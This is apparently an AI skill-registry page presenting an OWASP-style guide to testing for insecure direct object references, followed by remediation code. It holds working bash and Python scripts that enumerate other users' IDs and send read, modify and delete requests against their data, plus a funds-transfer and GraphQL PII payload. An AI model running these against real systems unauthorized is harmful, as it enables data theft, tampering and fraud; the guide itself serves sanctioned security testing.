Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Testing for Insecure Direct Object References (IDOR)
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-21 | ✗→✓ | ▲ Improved | 1257% | 0% |
| case-03 | ✓→✓ | = Same ✓ | 230% | 0% |
| case-04 | ✓→✓ | = Same ✓ | 295% | 0% |
| case-05 | ✓→✓ | = Same ✓ | 237% | 0% |
| case-06 | ✓→✓ | = Same ✓ | 722% | 0% |
WSTG-AUTHZ-04
Testing for Insecure Direct Object References (IDOR)
Insecure Direct Object References (IDOR) occur when an application uses user-supplied input to access objects directly without proper authorization checks. Attackers can modify parameters like IDs, filenames, or keys to access unauthorized resources belonging to other users. IDOR is a form of broken access control and can lead to unauthorized data disclosure, modification, or deletion.
| Location | Example | | ------------ | ------------------------ | | URL path | /api/users/123/profile | | Query string | /download?file_id=456 | | Request body | {"user_id": 789} | | Headers | X-User-ID: 123 | | Cookies | user_id=123 |
bash# Look for numeric IDs in requests # Monitor API calls for patterns like: # /api/users/123 # /api/orders/456 # /api/documents/789 # Common endpoints to check endpoints=( "/api/users/{id}" "/api/users/{id}/profile" "/api/users/{id}/orders" "/api/users/{id}/documents" "/api/accounts/{id}" "/api/transactions/{id}" "/api/messages/{id}" "/api/invoices/{id}" "/api/files/{id}" ) # Replace {id} with actual and target IDs to test
bash#!/bin/bash # Test accessing other users' resources by ID manipulation TOKEN="your_auth_token" OWN_ID=100 BASE_URL="https://target.com" # Test accessing nearby IDs for id in $(seq 95 105); do if [ "$id" != "$OWN_ID" ]; then response=$(curl -s -w "\n%{http_code}" \ -H "Authorization: Bearer $TOKEN" \ "$BASE_URL/api/users/$id/profile") status=$(echo "$response" | tail -1) body=$(echo "$response" | sed '$d') if [ "$status" == "200" ]; then echo "[VULN] IDOR: Accessed user $id" echo "Data: $(echo $body | head -c 200)" fi fi done
bash#!/bin/bash # Test IDOR across HTTP methods TOKEN="your_auth_token" TARGET_ID=101 # Other user's ID BASE_URL="https://target.com" # GET - Read data echo "=== Testing GET ===" curl -s -X GET "$BASE_URL/api/users/$TARGET_ID/profile" \ -H "Authorization: Bearer $TOKEN" # PUT - Modify data echo "=== Testing PUT ===" curl -s -X PUT "$BASE_URL/api/users/$TARGET_ID/profile" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "Hacked"}' # DELETE - Delete resource echo "=== Testing DELETE ===" curl -s -X DELETE "$BASE_URL/api/users/$TARGET_ID/profile" \ -H "Authorization: Bearer $TOKEN" # POST - Create with someone else's ID echo "=== Testing POST ===" curl -s -X POST "$BASE_URL/api/users/$TARGET_ID/orders" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"product": "item1"}'
bash#!/bin/bash # UUIDs are not immune to IDOR if they can be discovered # Check if UUIDs are exposed in: # - API responses listing resources # - URL referer headers # - JavaScript source code # - Error messages # - Public profiles # Test with discovered UUIDs curl -s "https://target.com/api/documents/550e8400-e29b-41d4-a716-446655440000" \ -H "Authorization: Bearer $TOKEN" # Check if UUID format validation is enforced # Invalid UUIDs might reveal information curl -s "https://target.com/api/documents/invalid-uuid" \ -H "Authorization: Bearer $TOKEN"
bash#!/bin/bash # Test Base64 encoded IDs # Decode current reference current_ref="MTIz" # Base64 of "123" decoded=$(echo "$current_ref" | base64 -d) echo "Decoded: $decoded" # Encode other IDs for id in {120..130}; do encoded=$(echo -n "$id" | base64) response=$(curl -s -o /dev/null -w "%{http_code}" \ "https://target.com/api/data/$encoded" \ -H "Authorization: Bearer $TOKEN") if [ "$response" == "200" ]; then echo "[VULN] IDOR with encoded ID $id ($encoded)" fi done # Test hex encoded IDs for id in {120..130}; do hex=$(printf '%x' $id) response=$(curl -s -o /dev/null -w "%{http_code}" \ "https://target.com/api/data/$hex" \ -H "Authorization: Bearer $TOKEN") if [ "$response" == "200" ]; then echo "[VULN] IDOR with hex ID $hex" fi done
bash# IDOR in JSON body curl -s -X POST "https://target.com/api/transfer" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "from_account": "OTHER_USER_ACCOUNT", "to_account": "MY_ACCOUNT", "amount": 100 }' # IDOR with user_id in body curl -s -X GET "https://target.com/api/user/orders" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"user_id": 101}' # IDOR in form data curl -s -X POST "https://target.com/api/export" \ -H "Authorization: Bearer $TOKEN" \ -d "user_id=101&format=csv"
python#!/usr/bin/env python3 import requests import base64 import json from concurrent.futures import ThreadPoolExecutor class IDORTester: def __init__(self, base_url, auth_token, own_id): self.base_url = base_url self.own_id = own_id self.session = requests.Session() self.session.headers.update({ "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" }) self.vulnerabilities = [] def test_numeric_idor(self, endpoint_template, id_range=range(1, 100)): """Test numeric ID manipulation""" print(f"\n[*] Testing numeric IDOR on: {endpoint_template}") for test_id in id_range: if test_id == self.own_id: continue endpoint = endpoint_template.replace("{id}", str(test_id)) try: response = self.session.get(f"{self.base_url}{endpoint}") if response.status_code == 200: # Check if we got actual data try: data = response.json() if data and len(str(data)) > 10: print(f"[VULN] IDOR at ID {test_id}: {endpoint}") self.vulnerabilities.append({ "type": "numeric", "endpoint": endpoint, "id": test_id, "method": "GET" }) except: pass except Exception as e: pass return self.vulnerabilities def test_write_idor(self, endpoint_template, test_ids): """Test IDOR for write operations""" print(f"\n[*] Testing write IDOR on: {endpoint_template}") methods = ["PUT", "PATCH", "DELETE"] for test_id in test_ids: if test_id == self.own_id: continue endpoint = endpoint_template.replace("{id}", str(test_id)) for method in methods: try: if method == "DELETE": # Don't actually delete - just test response response = self.session.request( method, f"{self.base_url}{endpoint}", timeout=5 ) else: response = self.session.request( method, f"{self.base_url}{endpoint}", json={"test": "data"}, timeout=5 ) if response.status_code in [200, 204]: print(f"[VULN] Write IDOR: {method} {endpoint}") self.vulnerabilities.append({ "type": "write", "endpoint": endpoint, "id": test_id, "method": method }) except: pass return self.vulnerabilities def test_body_idor(self, endpoint, param_name, test_ids): """Test IDOR in request body""" print(f"\n[*] Testing body IDOR on: {endpoint} ({param_name})") for test_id in test_ids: if test_id == self.own_id: continue try: response = self.session.post( f"{self.base_url}{endpoint}", json={param_name: test_id} ) if response.status_code == 200: print(f"[VULN] Body IDOR with {param_name}={test_id}") self.vulnerabilities.append({ "type": "body", "endpoint": endpoint, "parameter": param_name, "id": test_id }) except: pass return self.vulnerabilities def test_encoded_idor(self, endpoint_template, test_ids, encoding='base64'): """Test IDOR with encoded IDs""" print(f"\n[*] Testing {encoding} encoded IDOR on: {endpoint_template}") for test_id in test_ids: if test_id == self.own_id: continue if encoding == 'base64': encoded = base64.b64encode(str(test_id).encode()).decode() elif encoding == 'hex': encoded = hex(test_id)[2:] else: encoded = str(test_id) endpoint = endpoint_template.replace("{id}", encoded) try: response = self.session.get(f"{self.base_url}{endpoint}") if response.status_code == 200: print(f"[VULN] Encoded IDOR: {test_id} -> {encoded}") self.vulnerabilities.append({ "type": f"encoded_{encoding}", "endpoint": endpoint, "original_id": test_id, "encoded_id": encoded }) except: pass return self.vulnerabilities def test_parameter_pollution(self, endpoint, param_name): """Test HTTP Parameter Pollution for IDOR""" print(f"\n[*] Testing HPP IDOR on: {endpoint}") # Test sending multiple IDs payloads = [ f"{param_name}={self.own_id}&{param_name}=101", f"{param_name}=101&{param_name}={self.own_id}", f"{param_name}[]={self.own_id}&{param_name}[]=101", ] for payload in payloads: try: response = self.session.get( f"{self.base_url}{endpoint}?{payload}" ) if response.status_code == 200: # Check if other user's data returned if "101" in response.text or str(101) in response.text: print(f"[VULN] HPP IDOR: {payload}") self.vulnerabilities.append({ "type": "hpp", "endpoint": endpoint, "payload": payload }) except: pass return self.vulnerabilities def generate_report(self): """Generate IDOR testing report""" print("\n" + "="*60) print("IDOR TESTING REPORT") print("="*60) if not self.vulnerabilities: print("\nNo IDOR vulnerabilities found.") return print(f"\nTotal vulnerabilities: {len(self.vulnerabilities)}\n") # Group by type by_type = {} for vuln in self.vulnerabilities: vuln_type = vuln['type'] if vuln_type not in by_type: by_type[vuln_type] = [] by_type[vuln_type].append(vuln) for vuln_type, vulns in by_type.items(): print(f"\n{vuln_type.upper()} ({len(vulns)} findings):") for v in vulns: print(f" - {v.get('endpoint', v)}") # Usage tester = IDORTester( base_url="https://target.com", auth_token="your_token_here", own_id=100 ) # Test various endpoints endpoints = [ "/api/users/{id}/profile", "/api/users/{id}/orders", "/api/accounts/{id}", "/api/documents/{id}", ] for endpoint in endpoints: tester.test_numeric_idor(endpoint, range(95, 110)) tester.test_write_idor(endpoint, [101, 102, 103]) # Test body IDOR tester.test_body_idor("/api/user/data", "user_id", [101, 102, 103]) # Generate report tester.generate_report()
bash# GraphQL IDOR testing curl -s -X POST "https://target.com/graphql" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "query": "query { user(id: 101) { id name email ssn creditCard } }" }' # Test with variables curl -s -X POST "https://target.com/graphql" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "query": "query GetUser($id: ID!) { user(id: $id) { id name email } }", "variables": {"id": "101"} }' # Enumerate using introspection curl -s -X POST "https://target.com/graphql" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"query": "{ __schema { types { name fields { name } } } }"}'
| Tool | Description | Usage | | ------------------- | --------------------- | ----------------------- | | Burp Intruder | ID enumeration | Numeric/payload fuzzing | | Autorize (Burp) | Authorization testing | Compare responses | | OWASP ZAP | Active scanning | Automated testing | | Postman | API testing | Collection runner |
| Tool | Description | | ----------------------- | --------------------- | | Burp Logger++ | Request logging | | ParamMiner | Parameter discovery | | JavaScript analysis | Extract IDs from code |
pythonfrom functools import wraps from flask import request, g, abort def authorize_resource_access(resource_type): """Decorator to verify resource ownership""" def decorator(f): @wraps(f) def decorated_function(*args, **kwargs): resource_id = kwargs.get('id') # Get resource from database resource = get_resource(resource_type, resource_id) if not resource: abort(404) # Check ownership or admin status if resource.owner_id != g.current_user.id: if not g.current_user.has_role('admin'): abort(403) return f(*args, **kwargs) return decorated_function return decorator # Usage @app.route('/api/documents/<int:id>') @require_auth @authorize_resource_access('document') def get_document(id): return Document.query.get(id).to_json()
pythonimport secrets import hashlib class IndirectReferenceMap: """Map direct IDs to indirect references""" def __init__(self, user_id): self.user_id = user_id self.cache = {} def create_reference(self, direct_id, resource_type): """Create an indirect reference for a resource""" # Generate unique indirect reference seed = f"{self.user_id}:{resource_type}:{direct_id}:{secrets.token_hex(8)}" indirect_ref = hashlib.sha256(seed.encode()).hexdigest()[:16] # Store mapping in database (per user session) IndirectMapping.create( user_id=self.user_id, indirect_ref=indirect_ref, direct_id=direct_id, resource_type=resource_type ) return indirect_ref def resolve_reference(self, indirect_ref, resource_type): """Resolve indirect reference to direct ID""" mapping = IndirectMapping.query.filter_by( user_id=self.user_id, indirect_ref=indirect_ref, resource_type=resource_type ).first() if not mapping: return None return mapping.direct_id # Usage @app.route('/api/documents/<ref>') @require_auth def get_document(ref): ref_map = IndirectReferenceMap(current_user.id) document_id = ref_map.resolve_reference(ref, 'document') if not document_id: abort(404) return Document.query.get(document_id).to_json()
pythonfrom sqlalchemy import and_ class SecureResourceQuery: """Always include ownership in queries""" @staticmethod def get_user_document(document_id, user_id): """Get document only if user owns it""" return Document.query.filter( and_( Document.id == document_id, Document.owner_id == user_id ) ).first() @staticmethod def get_user_orders(user_id): """Get orders for specific user only""" return Order.query.filter_by(user_id=user_id).all() # Usage in routes @app.route('/api/documents/<int:id>') @require_auth def get_document(id): document = SecureResourceQuery.get_user_document(id, current_user.id) if not document: abort(404) # Don't reveal existence return document.to_json()
pythonimport uuid from sqlalchemy.dialects.postgresql import UUID class Document(db.Model): # Use UUID as primary key instead of sequential integer id = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4) owner_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False) content = db.Column(db.Text) # Still implement authorization checks - UUIDs are NOT a security control
| Finding | CVSS | Severity | | ------------------------------------------------- | ---- | -------- | | Read other users' sensitive data (PII, financial) | 7.5 | High | | Modify other users' data | 8.1 | High | | Delete other users' resources | 8.1 | High | | Access administrative resources | 8.8 | High | | Read non-sensitive data | 4.3 | Medium |
| CWE ID | Title | Description | | ----------- | ------------------------------------------------ | ---------------------- | | CWE-639 | Authorization Bypass Through User-Controlled Key | Core IDOR issue | | CWE-284 | Improper Access Control | Broken access control | | CWE-862 | Missing Authorization | No authorization check | | CWE-863 | Incorrect Authorization | Wrong authorization |
[ ] Object references identified in requests
[ ] Sequential ID enumeration tested
[ ] IDOR in GET requests tested
[ ] IDOR in POST/PUT/DELETE tested
[ ] Body parameter IDOR tested
[ ] Encoded ID manipulation tested
[ ] UUID/GUID enumeration attempted
[ ] GraphQL IDOR tested (if applicable)
[ ] HPP for IDOR tested
[ ] Different user contexts tested
[ ] Findings documented
[ ] Remediation recommendations providedOther measured skills in the registry, with their headline benchmark lift.